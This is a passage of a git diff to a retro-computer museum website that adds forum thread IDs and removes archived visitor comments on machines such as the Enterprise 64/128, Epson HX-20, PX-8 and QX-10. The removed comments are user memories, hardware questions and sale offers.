title: DEUCE's programmer experience url: http://www.ncf.ca/~ad161/deuce1.html @@ -67,25 +68,6 @@ params: - title: The languages of the DEUCE url: http://hopl.murdoch.edu.au/findlanguages.prx?id=2&which=byhw&Name=DEUCE text: '' - comments: - - author: audrey (louisiana) - date: Saturday 7th December 2019 - text: im doing a social studies project and i picked the history of video games so,this was very helpful - - author: Karma - date: Friday 9th June 2017 - text: Apparently this was a smaller version of Alan Turing''s ACE because his colleagues thought that the ACE was too ambitious so they built the Pilot Model ACE which ended up becoming the DEUCE - - author: william lindsay (uk) - date: Wednesday 16th June 2010 - text: The DEUCE output drive had 32 6CH power pentodes in a box...just right for heating sausage rolls. A visiting "royal" ,searching for a comment and enjoyjng an aroma suggested we were cooking the results'' - - author: John Barrett (Sydney Australia) - date: Wednesday 7th September 2005 - text: |- - BRISTOL SIDDELEY ENGINES - PATCHWAY - Nr BRISTOL - Was later Rolls Royce. See - - http://www.users.tpg.com.au/eedeuce/people.html#S3 - - author: wilsonsamm (UK) - date: Monday 21st February 2005 - text: Now, I don't know much about his computer, but I happen to know that the Rolls-Royce plant in Bristol had two such units, as well as two KDF-9s. They eventually sold the KDF-9s and replaced them with PDP-10 units from Digital. oc_id: 1089 source: url: https://web.archive.org/web/20221129074155/http://www.old-computers.com/museum/computer.asp?c=1089 diff --git a/content/museum/enterprise-64-128.md b/content/museum/enterprise-64-128.md index e98ca6d2..a34930fd 100644 --- a/content/museum/enterprise-64-128.md +++ b/content/museum/enterprise-64-128.md @@ -71,6 +71,7 @@ params: - links - docs - videos + forum_thread: 165 photos: - title: ENTERPRISE 64 subtitle: '' @@ -271,174 +272,6 @@ params: - title: Enterprise 128 TV commercial url: https://www.youtube.com/watch?v=Yp6wc6YJpn4 text: 'Length: 43 s' - comments: - - author: greg (Scotland) - date: Wednesday 13rd November 2013 - text: |- - Hi - - I ve got one , if anyone want to buy , please contact me\ - ENTERPRISE COMPUTERS 128K - - sales5255@gmail.com - - thanks - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - has anyone found a zx spectrum 128k full emulator that runs commercial software please - - author: Thomas (Hungary) - date: Wednesday 3rd April 2013 - text: Hello I would like to Buy Enterprise EXDOS with floppy...Somebody?? plesase write me info@mmkft.hu thanks - - author: Marq - date: Saturday 3rd March 2012 - text: 'See the Hungarian website for documentation: http://enterprise.8bit.hu/' - - author: Lez Anderson (England) - date: Tuesday 29th November 2011 - text: |- - If anyone is interested in helping me to put the OLD Enterprise64/128 into VHDL code so it can be run on an Altera DE0 board or even on a STRATIX ASIC chip... making a single chip ENTERPRISE 128K plus, running at 25MHz plus !!!! - - Then email me at lezanderson@gmail.com - - author: Vic (UK) - date: Saturday 12th November 2011 - text: I used to work for Welwyn Electric in Bedlington, Northumberland UK. Our systems department built the Elan Enterprise here in the UK around 1983 as I remember. There were hundreds quarantined in our store when the buyer went bust! Eventually lots were sold to employees at a cheap price... I used to test them and remember the NICK $ DAVE chips that were the type specific ASICS in the Enterprise. I have a boxed as new 64 here and schematics!!! - - author: Jeff - date: Sunday 3rd July 2011 - text: Where can I get schematics, service manuals , Technical documents ??? Can anyone help.... please leave a message..... - - author: Marcus (England) - date: Sunday 3rd July 2011 - text: Does anyone know if the Enterprise has been put into VHDL code ... so I can put it on my Altera DE0 board ?? - - author: Alex Filatov (Russia) - date: Wednesday 1st December 2010 - text: |- - It also was shipped with special tape recorder witch coul be remotely controllel from a computer by second wire with some kind of microjack. It had 2 type recorder interfaces (standard JACK) and 2 remote interfaces (that microjack). - - sorry for bad English. - - author: Vicman - date: Thursday 30th September 2010 - text: |- - @Phillip : - - try it here : - - http://enterpriseforever.com/other_topics-b5.0/ - - author: Phillip - date: Thursday 23rd September 2010 - text: Does anyone know where to get technical info on the Enterprise. Service manuals, schematics etc ??? - - author: Lez Anderson (England) - date: Thursday 23rd September 2010 - text: |- - Has anyone tried putting the Enterprise onto a FPGA (field programmable Gate Array) or CPLD/ASIC to produce a single chip version. i.e. an Enterprise 128 on a single chip ?? - - It''s been done for other old machines!!! - - author: Andrew Dunlop (UK) - date: Tuesday 12th August 2008 - text: |- - I worked as a developer for a number of Enterprise titles for about 18 months prior to it's release. I actually had two Enterprise's! One would do 80 column and the other high res graphics. I think they were having problems with the video chip. - - Tim from London. Did I meet with you and provide you with copies of the assembler and 3d starstrike (spectrum conversion) many many years ago in London? I was working for DK'tronics, CDS software and Intelligent Software at the time. - - author: Miodrag Stancevic (Serbia) - date: Wednesday 11th October 2006 - text: Please, provide me a power supply specifications for Enterprise 64. - - author: John Fisher (UK) - date: Thursday 5th January 2006 - text: |- - I won an Enterprise 64 from a magazine competition- the month it was supposed to be released. It eventaually arrived after several months of my patient chasing, so I probably had one of the first machines- but by then I was much more into BBC machines. It WAS a nice BASIC with some\ - clever tweaks. In my time I dragged my school into supporting my first 1802 homebrew, Commodore PET, BBC B, Atari ST and Acorn Archimedes- they\ - eventually went for the unimaginative and expensive PC! Ho hum.... - - author: Sergio (Verona - Italy) - date: Tuesday 30th November 2004 - text: |- - Hello, - - i've an enterprise 128, but i don't have any manual, anyone know where i can find some info about the enterprise basic and os ? - - When i was a child it was a dream... Now i've one of this and i want to try to do something!!! - - Thank you - - author: Mike Smith (London) - date: Sunday 17th October 2004 - text: Wow... so the Elan Enterprise really exists??? I remember getting a promotional brochure for one when I was still at school - it looked fantastic, miles ahead of anything else on the market at the time. But alas that was the last I heard of it - I presumed it never made it into production. I'd love to see any info / pictures of it if anyone has anything. Regards, Mike. - - author: Richard Kilpatrick (Hawick, Scotland) - date: Tuesday 29th June 2004 - text: I had one of these in 1989-1995. Nice to see familiar names. I wrote a lot of stuff, but the forum software doesn't like Safari, so I can't be bothered retyping it. I've got another 128 and EXDOS, plus a 'FLAN' motherboard which must be early production or pre-production.... - - author: Russ Pitman (Hastings) - date: Saturday 5th June 2004 - text: Enterprise is still going strong, hopefully will be getting more info and a web site ASAP, If not search for the 'Enterprise Depository' and there you will find a bit more. Regards Russ P. - - author: Tim (London) - date: Wednesday 14th January 2004 - text: |- - Just came across this page. I used to run the Magazine for the User group "Private Enterprise". Any body remember it. - - BTW it was a great machine, Ahead of its time at conception, which was one of the reasons it failed, they could not make the main Chips Nick and Dave. They did at the time have the most transistors in one device. The delay in getting it to work then deciding once they did perfect it, to move production to Europe, took so long that the likes of the Amstrad filled got there first. - - I even had a Mouse and software on sale for it, any body remember it. - - Regards - - Tim - - author: Ian Mapleson (Edinburgh) - date: Wednesday 14th January 2004 - text: |- - What was the spec of the Elan? I wanted one but\ - parents couldn't afford it. Ended up with an Electron\ - instead, which was great, though the Elan would have\ - been nicer perhaps. There's an Elan on Ebay UK just\ - now, but it's for 200 UKP! Ouch. Does anyone know\ - how many were made? Was there just one version?\ - There don't seem to be too many pages on the net\ - about the machine. - - Ian. - - author: Alex (Munich / Germany) - date: Friday 8th August 2003 - text: I found my Enterprise 64 unit again and want to play "KING OF THE CASTLE" again ... but I can't find the Powersupply and TV Cable. Can anybody email the specs ? THANKS !! - - author: donald (glasgow) - date: Sunday 22nd June 2003 - text: HI, i used to have an Enterprise 64 with the mouse and speech synthesiser!!, i gave it to my brother (boxed) years ago, who gave it away for nothing, i could have killed him. Great machine. - - author: Ian (Northumberland) - date: Friday 28th February 2003 - text: |- - Woot I have 3 of these ! - - ....working for the company that made them helps of course - - author: Robert (Manchester (UK)) - date: Wednesday 12th June 2002 - text: Anyone remember the TV advert with 'Max Headroom' doing the voice over? - - author: Knut Axel (Norway) - date: Monday 10th June 2002 - text: |- - I have just got my hands on an Enterprise 64, but I only have the machine. I would love to buy some software and hardware to it, if anyone has some they would sell. - - Thanks - - author: Clive (Plymouth) - date: Wednesday 29th May 2002 - text: Hi the Enterprise was my 1st computer and I sold it at a car boot for nothing, however I have just managed to pick another up whcih unfortunately does not have a power supply could somebody help with the PSU specs please - - author: Steve Grabauskas (UK) - date: Wednesday 15th May 2002 - text: One of the best computers I ever owned! Trying to track down a mate of mine - lent him my Enterprise 128 + 720K DD about 10 years ago! Still got the tecnical manual kicking around here somewhere.... ;-) - - author: Mike O Brien (Australia) - date: Friday 3rd May 2002 - text: |- - Hi. - - I want to buy an Enterprise. - - Will pay a fair price. - - Any ideas (or offers). - - Cheers - - Mike. - - author: Nevermind (Norway) - date: Sunday 28th April 2002 - text: Elan Enterprise 64/128 would have been a great success if it had been released earlier! I think it was one of the first home computers featuring stereo sound... It had a great and powerful ANSI basic (which even formatted the code according to loops and subroutines) with multimedia functions and even control of i/o. (Compared with the commodore basic that consisted of 90% "poke" :-) - - author: T0Mi[xts] (Hungary) - date: Sunday 10th March 2002 - text: Where can i get EP programs????? oc_id: 153 source: url: https://web.archive.org/web/20230314222731/http://www.old-computers.com/museum/computer.asp?c=153 diff --git a/content/museum/entex-gameroom-tele-pong.md b/content/museum/entex-gameroom-tele-pong.md index 406977b0..f7ab3f75 100644 --- a/content/museum/entex-gameroom-tele-pong.md +++ b/content/museum/entex-gameroom-tele-pong.md @@ -50,6 +50,7 @@ params: value: Unknown tabs: - photos + forum_thread: 1015 photos: - title: GAMEROOM TELE-PONG subtitle: '' @@ -95,32 +96,6 @@ params: subtitle: '' text: '' image: /media/museum/photos/entex_gameroom-tele-pong_inside_1.jpg - comments: - - author: sanddecker (Canada) - date: Sunday 16th June 2019 - text: |- - I have one of these from my parents''. For some reason it doesn''t show the player''s paddle. Any ideas why?\ - To add, mine does not have the channel switch but does have sound. - - author: Bobby - date: Sunday 9th December 2012 - text: I just came across one of these at a thrift store. Any idea how much it is worth. No box but seems to be in nice condition Thank you - - author: Luis Muñoz (ZZT) (Chile) - date: Monday 25th June 2007 - text: |- - Hi.\ - This pong is a dedicated system. I can say the following thing to them: - - \*All chips are SN74LS00.\ - \*No use CPU.\ - \*Only battery operated (1.5V "C" cell x 4).\ - \*No power adaptor conector.\ - \*Signal Output VHF (RF) 3 or 4 channel. (¿latin american model?)\ - \*it is absolutely a museum piece. Mine it cost 4 dollars in a flea market. - - Regards. - - author: Dan Howell (Earth) - date: Tuesday 28th September 2004 - text: Wow. I remember having one of these when I was about 10 years old. I believe it ran on batteries, because I seem to remember that the batteries corroded and so my dad threw it out (too bad, it would have made a nice museum piece). I also believe that it had a mode where you could play against the machine, but it could not lose because its paddle simply followed the exact vertical position of the ball. oc_id: 1041 source: url: https://web.archive.org/web/20230613001113/http://www.old-computers.com/museum/computer.asp?c=1041 diff --git a/content/museum/epcom-sharp-hotbit-hb-8000.md b/content/museum/epcom-sharp-hotbit-hb-8000.md index 8c63ff23..aaa6a48b 100644 --- a/content/museum/epcom-sharp-hotbit-hb-8000.md +++ b/content/museum/epcom-sharp-hotbit-hb-8000.md @@ -77,6 +77,7 @@ params: - software - emulators - links + forum_thread: 814 photos: - title: BEIGE VERSION subtitle: '' @@ -286,25 +287,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: Gabriel Graça (Brazil) - date: Wednesday 20th May 2015 - text: There''s a TV commercial (https://www.youtube.com/watch?v$7PeCWm_trY8) from december 1985 which shows the Hotbit being sold for Cr$3,900,00.00 (yes, nearly 4 million cruzeiros). That would have meant about US$400 as the exchange rate was Cr$10,000.00 that month (things were very dinamic then!). In 2015 dollars, that''s US$877.77. - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - we can run zx spectrum 48k and one 128k programs at 6mhz please help - - author: Matheus de Paula Medeiros (Brazil) - date: Tuesday 2nd August 2011 - text: I bought one of these for $ 5 a while ago. They are amazing. - - author: Paulo Vaz (Brazil) - date: Sunday 2nd January 2005 - text: |- - I´m loking for the original or scanned manuals for this machine. Also the demo cartdrige. - - Thanks in advance. related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/epoch-cassette-vision.md b/content/museum/epoch-cassette-vision.md index 6cd23656..ab4ac454 100644 --- a/content/museum/epoch-cassette-vision.md +++ b/content/museum/epoch-cassette-vision.md @@ -12,6 +12,7 @@ params: - software - links - videos + forum_thread: 773 photos: - title: CASSETTE VISION subtitle: '' @@ -111,16 +112,6 @@ params: - title: Japanese Video Games TV Commercials url: https://www.youtube.com/watch?v=hly4HmBDjkk text: 'Length: 10 min' - comments: - - author: PippoCiccio (Italy) - date: Monday 20th February 2023 - text: As you can see here (https://it.wikipedia.org/wiki/Epoch_Cassette_Vision) the console uses a different NEC D77?C chip for every different game. The Cassette Vision is almost an empty shell$ all the logic is inside the chips (CPU/ram/rom) placed in the cartridges. The NEC D778C and NEC D774C chip have been used already used for "TV baseball" and "TV Vader" consoles. - - author: PippoCiccio (Italy) - date: Monday 20th February 2023 - text: As you can see here (https://it.wikipedia.org/wiki/Epoch_Cassette_Vision) the console use a NEC D774C. This same chip is also used in one of the cartridge of the Super Vision. Every cartridge of Super Vision contains a different NEC D77?C chip (The Super Vision console is an empty shell...) - - author: The Clothist (Seattle, WA) - date: Friday 18th June 2004 - text: I'm pretty darn sure I remember playing with one of these that a friend had imported from Japan back when I was a kid. software: - /software/astro-command - /software/baseball-847 diff --git a/content/museum/epoch-super-cassette-vision.md b/content/museum/epoch-super-cassette-vision.md index c22fae82..035bc426 100644 --- a/content/museum/epoch-super-cassette-vision.md +++ b/content/museum/epoch-super-cassette-vision.md @@ -13,6 +13,7 @@ params: - software - emulators - links + forum_thread: 825 photos: - title: SUPER CASSETTE VISION subtitle: '' diff --git a/content/museum/epoch-tv-baseball.md b/content/museum/epoch-tv-baseball.md index f6b06ee9..6c577841 100644 --- a/content/museum/epoch-tv-baseball.md +++ b/content/museum/epoch-tv-baseball.md @@ -49,6 +49,7 @@ params: tabs: - photos - software + forum_thread: 779 photos: - title: TOP subtitle: '' @@ -87,15 +88,6 @@ params: subtitle: '' text: This is apparently the same game found on cartridge for the Epoch Cassette Vision some years later... image: /media/museum/software/epoch_tv-baseball_ss_1.jpg - comments: - - author: LadyLeia (United Kingdom) - date: Monday 2nd November 2020 - text: |- - I recently got a boxed copy of this system, its in pretty good condition though quite dirty but an easy job with some soppy water. - - Just wanted to tell you that the my copy still has the price tag on its ¥18,500 (¥29,298 with inflation) for the main system (that i got), the system uses 4 D-cell battery''s but the label also states you can buy a AC adapter (plugs in in the back) for an extra ¥1,500 back in 1978. - - Hopes this helps someone! oc_id: 798 source: url: https://web.archive.org/web/20230307164132/http://www.old-computers.com/museum/computer.asp?c=798 diff --git a/content/museum/epoch-tv-block.md b/content/museum/epoch-tv-block.md index 997d056a..4f60ec6f 100644 --- a/content/museum/epoch-tv-block.md +++ b/content/museum/epoch-tv-block.md @@ -48,6 +48,7 @@ params: - photos - software - links + forum_thread: 781 photos: - title: TV-BLOCK subtitle: '' diff --git a/content/museum/epoch-tv-vader.md b/content/museum/epoch-tv-vader.md index 1cca1a62..5725ac4c 100644 --- a/content/museum/epoch-tv-vader.md +++ b/content/museum/epoch-tv-vader.md @@ -51,6 +51,7 @@ params: - software - links - videos + forum_thread: 991 photos: - title: TV VADER subtitle: '' @@ -113,16 +114,6 @@ params: - title: Epoch TV Vader gameplay url: https://www.youtube.com/watch?v=vOcUmpZErdk text: 'Length: 3min 25s' - comments: - - author: PippoCiccio (Italy) - date: Monday 20th February 2023 - text: 'Ops, an error: in the Epoch Cassette Vision, non the Super Vision' - - author: PippoCiccio (Italy) - date: Monday 20th February 2023 - text: As you can see here (https://it.wikipedia.org/wiki/Epoch_Cassette_Vision) the console use a NEC D774C. This same chip is also used in one of the cartridge of the Super Vision. Every cartridge of Super Vision contains a different NEC D77?C chip (The Super Vision console is an empty shell...) - - author: rod (canada) - date: Monday 22nd January 2018 - text: Looks like a cool little console. Very futuristic and space age for it''s time. However, if that controller isn''t detachable from the unit itself, I just cannot imagine people playing this one for long periods of time, as it''d be very painful to sit hunched over this thing for an extended play session. oc_id: 1017 source: url: https://web.archive.org/web/20230307165458/http://www.old-computers.com/museum/computer.asp?c=1017 diff --git a/content/museum/epson-hc-hx-20.md b/content/museum/epson-hc-hx-20.md index 207d7cb3..a189fc16 100644 --- a/content/museum/epson-hc-hx-20.md +++ b/content/museum/epson-hc-hx-20.md @@ -69,6 +69,7 @@ params: - links - docs - videos + forum_thread: 155 photos: - title: CREAM AND SILVER VERSIONS subtitle: '' @@ -332,96 +333,6 @@ params: - title: Printing on an Epson HX-20 url: https://www.youtube.com/watch?v=DeLYWXZ6pE8 text: 'Length: 55s' - comments: - - author: Frigolit (Uppsala, Sweden) - date: Tuesday 8th February 2011 - text: |- - I got my dad''s HX-20 when I was about 7-8 years old or something. It''s 27 years old now and is still working, except for the microcassette... I should try repairing it some day.\ - My dad did both software and hardware development for the HX-20, including a parallel I/O board called the HX-PIA (Parallel Interface Adapter i think) which is pretty nostalgic for me for various reasons. It''s also the first computer I programmed on. - - A while ago I set out to build an emulator for the HX-20 and it''s going pretty well. As of right now, most opcodes are implemented (\~10 remaining) and the ROM is trying to write stuff to the LCD right now :)\ - At the same time I''m fixing documentation, graphics and photos for pretty much everything about the HX-20 which I will post on my site and on the Wikipedia page. - - Thanks a lot to Lorenzo for hxtape, I haven''t tried it yet but it''ll definitely come in handy.\ - If anyone has programs, as ROMs, cassettes, BASIC code or hex dumps, it would be great if you could send them to me for archiving.\ - I can even accept physical ROMs via mail since I''ve built a ROM dumper. - - I wanna go as overkill as I can with this :) - - author: Lorenzo J. Lucchini (Italy) - date: Saturday 13rd February 2010 - text: |- - I''ve written a small program to read and write HX-20 using a PC soundcard, and transfer data to and from an HX-20 with an audio cable. - - It is in a very preliminary state, but it works for me. It can be found at http://hxtape.sourceforge.net/ and feel free to contact me (via mail or SourceForge forum) if you encounter any problems with it. - - If it works for you, then also feel free to upload any HX-20 programs you have to the wiki! - - author: Mark Barratt (UK) - date: Monday 5th September 2005 - text: The Epson HX-20 was used by a lot of retail environments in the uK as it was handy to carry around stock rooms and print lists etc. One of the biggest users was a firm called Vestric which was a pharmaceutical company and franchised many local chemist shops. they had to use these devices for prescription labels and stock control, ordering items over an acoustic coupler. To the best of my knowledge, there are still some in use today. - - author: Geoff Barnard (England) - date: Saturday 16th January 2021 - text: 'Anyone looking for the famous game for the HX-20, by Simon Taylor, BOMBER/BLITZ, this has now been ''''recovered'''' from an old microcassette from Simon. .WAV ready to LOAD can be downloaded from: https://www.pjspot.com/hx-20/?page_id$322 Geoff' - - author: Geoff Barnard (Guisborough, England) - date: Monday 16th March 2020 - text: |- - Regarding the battery, my HX-20 has been running for some years using an external pack (4 @ D cells), wire connected to the wires inside. Not so ''portable'' but charge lasts longer and OK by me. One day I''ll organise something internal, various options available.\ - I now use Lorenzo''s hxtape sysrem with a laptop for SAVE/LOAD or progs, this opens doow to accessing the progs directly as .TXT for printing, or editing on a PC and then loading the prog back to HX. - - Geoff - - author: David Filmer - date: Tuesday 14th June 2016 - text: |- - Epson HX-20 - - Product Brochure: https://files.support.epson.com/pdf/hx20\_\_/hx20\_\_sl.pdf\ - User Manual: https://files.support.epson.com/pdf/hx20\_\_/hx20\_\_u1.pdf - - Contemporary magazine review from Creative Computing (March 1983):\ - http://archive.org/stream/creativecomputing-1983-03/Creative_Computing_v09_n03_1983_March$page/n103/mode/2up\ - The article notes, “This is the first computer for which the documentation is larger and weighs more than the computer itself.” - - author: David Filmer - date: Tuesday 14th June 2016 - text: |- - in 1985, Freightliner heavy trucks sold a Limited Edition "Interstate 200" model which included the “Trucker’s Portable Accountant Computer System” based on the HX-20. You can see a picture of it in the sales brochure: - - http://www.hankstruckpictures.com/pix/trucks/stephen_procter/2003/nov27/email008081.jpg - - author: Owen Mooney (New Zealand) - date: Sunday 29th November 2015 - text: Finding this brings back memories! In 1984 I was designing a simulator for the ionosphere using a (then) high performance DSP processor. We were about to embark on the build of a user interface (using a custom microprocessor deign) when this came along. It did the UI brilliantly!, as well as computing some complex equations. I''m proud to say this must be one of the earliest SOA architectures around - - author: Peter Simpson (England) - date: Thursday 7th November 2013 - text: I bought an HX20 to see if I could use it as a portable computer for journalists at the newspaper group where I worked. One of its great strengths was the superb keyboard which had a lovely feel that has rarely if at all been bettered since. Journos were not happy about the output from the printer though. I ended up putting into the field Texas Instruments Silent 700''s. The HX 20 I still have and (2013) it still works - - author: Philip Mallon (Australia) - date: Saturday 21st July 2012 - text: I loved this computer and still have it. I purchased the expansion unit and programmed a number of ROM application programs. Its biggest impact here in Australia was that my work, the Roads and Traffic Authority (RTA) used it as a SCATS traffic signals terminal. I also programmed it to be a real time GIS (Geographical Information System) using the barcode reader connected to a car''s odometer - this was NSW government''s offical RoadLoc system and was used for many year''s until GPS based system''s came along. I developed a CMOS eurocard based Data acquisition system for it using the same 6301 processor and this was used for many road and surveying projects including a profilometer. It was also used to maintain all the electronic toll systems in NSW. The preat thing about it was that EPSON encouraged third party development - documentation was the best for any computer ever and I still have all of the engineering manuals. - - author: Vie (UK) - date: Thursday 7th June 2012 - text: For those of you of an Automotive bent, you might be interested to know that this particular computer was fitted in the ''Executive'' trim level of Daimler DS420 limousines during the mid 1980''s. For some reason they fitted two of them, along with a large amount of other hardware - including a printer. Seems rather incongruous to fit a printer when the computers it must have been hooked up to already had built in printers. Maybe they had some custom software for word processing or something? - - author: Holger Steinmann (Germany) - date: Thursday 17th April 2008 - text: |- - The silver version was indeed sold in Germany (I still got one). Two extensions were also available:\ - 1\. A box to connect a standard monitor (enabling a display of 80x40) - almost a 'must' for doing serious programming...\ - 2\. a dual floppy drive (more expensive than the HX-20 itself), which offered a great advantage against the tape for storing and loading data. - - author: Harald Dehner (Germany) - date: Monday 7th April 2008 - text: On the Demo-scene-event "Breakpoint 2008" (see http://breakpoint.untergrund.net/ ) someone calling himself "bEnd oF crUsH" entered competition in the category "Wild console" with a small BASIC-program featuring graphics, printing (!) and sound on a Espon HX-20. He placed 2nd. A video of that demo can be downloaded on http://pouet.net/prod.php?which=50186 - - author: Andrea Gangemi (Italy) - date: Thursday 28th June 2007 - text: |- - HX-20 has been my very first computer where i learned BASIC language, I was just 11.\ - It was bought by my father back in the early 80's to have a portable system to make some numerical analisys on pressurized lines.\ - When he was not using it i was playing with it and doing some very simple programs.\ - Wonder if some PC emulator exixts - - author: A. Clarkson (UK) - date: Sunday 18th July 2004 - text: I used to work as a telephone engineer and came across one of these, with an expansion pack, but branded with a British Telecom logo rather than Epson. They'd sold them to collect call logging information. We were removing it, and I also got a huge bag of tapes, all dutifully labelled with dates! They came in really useful, being the same type as used in most dictaphones. I still have a few, but I imagine the data on them will be pretty boring - early nineties call records for some company in Northern England! - - author: Arno (Winschoten, NL) - date: Sunday 30th June 2002 - text: For the HX-20 there existed several programs in ROM, as I once had a text-editor, a forth-compiler, an assembler, and some more. Don't know, where to find them now; if I could have new batteries for my old HX-20, I could send you some programs by mail, and you could burn them in eprom. - - author: Finnegan (Minnesota, US) - date: Sunday 26th May 2002 - text: I'm just wondering if anyone knows if the HX-20 had any pre-loaded ROM software (text editor, etc.)? I can't seem to track down an answer to this question... related: - /museum/epson-px-8-hc-88-geneva oc_id: 143 diff --git a/content/museum/epson-px-4-hc-40.md b/content/museum/epson-px-4-hc-40.md index 355290d4..d651b124 100644 --- a/content/museum/epson-px-4-hc-40.md +++ b/content/museum/epson-px-4-hc-40.md @@ -66,6 +66,7 @@ params: - photos - hardware - links + forum_thread: 371 photos: - title: JAPANESE USER MANUAL subtitle: '' @@ -97,13 +98,6 @@ params: - title: TATA EPSON HC-40 Page url: http://page.freett.com/tata93/hc40.htm text: Great informations here (Japanese) ! - comments: - - author: Simon (Australia) - date: Thursday 29th March 2012 - text: I have one of these in a box somewhere, along with the PROM writer...... very funky little unit, well ahead of its time. - - author: Ian Chard (UK) - date: Friday 4th May 2007 - text: When I did A-level computing in 1990, I remember doing a case study of how the UK music singles chart worked. Shops entered details of sales into little computers, and I remember that the Epson PX-4 was specifically named. No idea if it was true, though! oc_id: 370 source: url: https://web.archive.org/web/20230608211026/http://www.old-computers.com/museum/computer.asp?c=370 diff --git a/content/museum/epson-px-8-hc-88-geneva.md b/content/museum/epson-px-8-hc-88-geneva.md index fa1c23fe..45b91530 100644 --- a/content/museum/epson-px-8-hc-88-geneva.md +++ b/content/museum/epson-px-8-hc-88-geneva.md @@ -72,6 +72,7 @@ params: - emulators - links - videos + forum_thread: 208 photos: - title: HC-88 (JAPANESE MODEL) subtitle: '' @@ -229,51 +230,6 @@ params: - title: Printing on an Epson HX-20 url: https://www.youtube.com/watch?v=DeLYWXZ6pE8 text: 'Length: 55s' - comments: - - author: Ian - date: Wednesday 9th March 2011 - text: |- - Back about the time these were coming off sale, I found a shop in London that was remaindering them very cheaply. I bought one and took it into the Government Department for which I then worked. Jealous eyes, then a very senior person had a word with the Clerk of Stationery, and a cab was dispatched to clear out the shop. They lasted in intensive Government use for quite a number of years, only finally being overtaken by much more modern laptops. They were light and the battery would last all day. And there was a very portable printer $ battery again$ that went with them.\ - The later snag was that they were CPM, whereas the desktop machinery was MSDOS by then, so transferring texts across was a bit of a fag $though it could be done$.\ - I later used mine to calculate race results at a dinghy sailing club, though it was a bit slow for real-time work of that kind. - - author: Josef (Earth) - date: Monday 27th May 2002 - text: |- - The Epson PX-8 was actually quite impressive. Besides running for up to three hours on it's batteries (with the battery backpack), it could also play and record minicassettes, in data or voice mode. - - The cartridges were actually more akin to ROM chips. You had to open the bottom of the case, and swap them out. It also featured a RAM drive with it's RAM, and you could access the data minicassette like a regular disk (albeit slower) through the on-board CP/M. - - All in all, pretty nice machines, and light too. I still own mine, and it runs beautifully save for the dead batteries. - - author: Michael Kato (United States) - date: Sunday 11th October 2020 - text: In Japan two models were sold the HC-80 and the HC-88. The HC-80 was less expensive and did not have the Kanji ROMs. It looks like the keyboard was slightly different for the HC-88 whereas the HC-80 keyboard was very much like the PX-8. - - author: Alien Nerd - date: Wednesday 28th July 2010 - text: Hi Geoquip, did you list that PX-8 and PF-10, I didn''t see them? - - author: Geoquip - date: Tuesday 20th July 2010 - text: We are about to put a fully boxed Epson PX-8 with maual and reference book, PF-10 disk drive and English Wordstar software onto ebay.co.uk if anyone is interested? - - author: Wulf (Norway) - date: Friday 28th September 2007 - text: |- - Some years back, I bought one of these machines on ebay. Since it came without a manual I sent an email to Epson asking for information. Some days later I received a bunch of copied papers in the post. Somebody at Epson had hard copied the complete manual for me. That's some service for a machine that had been out of production for 20 years.\ - The keyboard was btw the best of any machine I've ever worked with. What a shame that the wordprocessor ROM was missing in my PX 8... - - author: Jos van der Geest (Holland) - date: Friday 8th October 2004 - text: |- - Hello - - Communication between PX8 and a simple laptop (1990) by RS232 with program filink and filecom is ok.\ - Comminication between a modern computer Pent. or 486 with the same equipment en cables do not succeed. - - What can be wrong??\ - I use a nulmodem cable\ - Can somebody give me any advise. - - Jos - - author: Arvo (Savannah, GA) - date: Saturday 7th February 2004 - text: I purchased one of these (very cheap I might add) in London, England. It had a French Keyboard (HZERTY) and French Wordstar. I change the keyboard code in the BIOS back to English (QWERTY) and then the keycaps were wrong. I obtained an owner's manual for an English machine. There was a photograph of the keyboard and I blew it up on a xerox machine. I cut out all the pictures of the individual keys and then glued them onto the keyboard and sealed them with clear fingernail polish. It works (and looks) good to this day. The best thing about this machine is that it is "instant on." The CP/M and the Wordstar are in ROM chips so it boot as fast as a calculator. The worst thing about it is that it is slow as a mollasses. I think the clockspeed is 2 or something. Now we have clock speeds of 3400. related: - /museum/epson-hc-hx-20 oc_id: 198 diff --git a/content/museum/epson-qx-10.md b/content/museum/epson-qx-10.md index 6e63d790..8b320b7b 100644 --- a/content/museum/epson-qx-10.md +++ b/content/museum/epson-qx-10.md @@ -70,6 +70,7 @@ params: - software - links - docs + forum_thread: 210 photos: - title: LARGE VIEW subtitle: '' @@ -189,75 +190,6 @@ params:  compiled/archived by Epson\  type of document : PDF\  source : [Epson official web site](http://www.epson.com) - comments: - - author: Lee Huffman (Madison, AL 35758 USA) (USA) - date: Thursday 1st November 2018 - text: |- - Hi Walter,\ - I have one that has been in box for years, pulled it out, but can''t find video or keyboard cables. Could use yours for cables and spare parts...(not sure yet what is working!) - - author: Walter Kessler (Willis, TX 77318 USA) - date: Wednesday 24th October 2018 - text: |- - Kaelan USA,\ - I just found one in my storage building. wondering if anybody needed one.\ - Walter - - author: Kaelan (United States) - date: Friday 3rd August 2018 - text: I have a QX-10, though there was a no keyboard, any places to look? - - author: SCS (USA) - date: Monday 29th January 2018 - text: I''m looking to purchase a QX-10, 11 or 16 system. Have one for sale? - - author: Steven (USA) - date: Monday 2nd June 2014 - text: |- - I purchased a complete QX-10 system in 1983 for my wife to utilize while finishing her work on her Bachelors degree.\ - This was also our eight year old son''s first computer experience. Today he develops B2B software configurations\ - for businesses in Central America.\ - We still have the system and plan to give it to our son as a\ - surprise when he has his first child. (still waiting for that!) - - author: Lawrence H Iverson (Metairie, Louisiana, USA) - date: Tuesday 21st January 2014 - text: 'I have a complete system: computer, monitor, documentation, distribution floppies. It does not run$ I suspect the battery is dead. Is there a market for this machine—perhaps in the retrocomputer circle?' - - author: Dave C (USA) - date: Wednesday 25th December 2013 - text: I bought a QX10 in late 1984. The later versions of Valdocs worked rather well. We had a users group in the Detroit area that lasted into the 1990s. Eventually we all had to buy something that could to Windows. There was a group of court reporters who used that exclusively well into the late 1990s too Great machine for a starter. A lot more user friendly that the Apple or IBM of that time. Still have one in the basement but it doesn$t load in the left drive anymore. Cheers. - - author: Cheryl (Metro Detroit, MI, USA) - date: Tuesday 1st November 2011 - text: I seem to remember purchasing my first QX10 around 1983. As a newly minted freelance writer, I was beyond finished with typewriters of all kinds, and the thought of simple correction and printing only the final product seemed like heaven to me. Eventually, as I needed a part-time assistant, I acquired a second one, and eventually 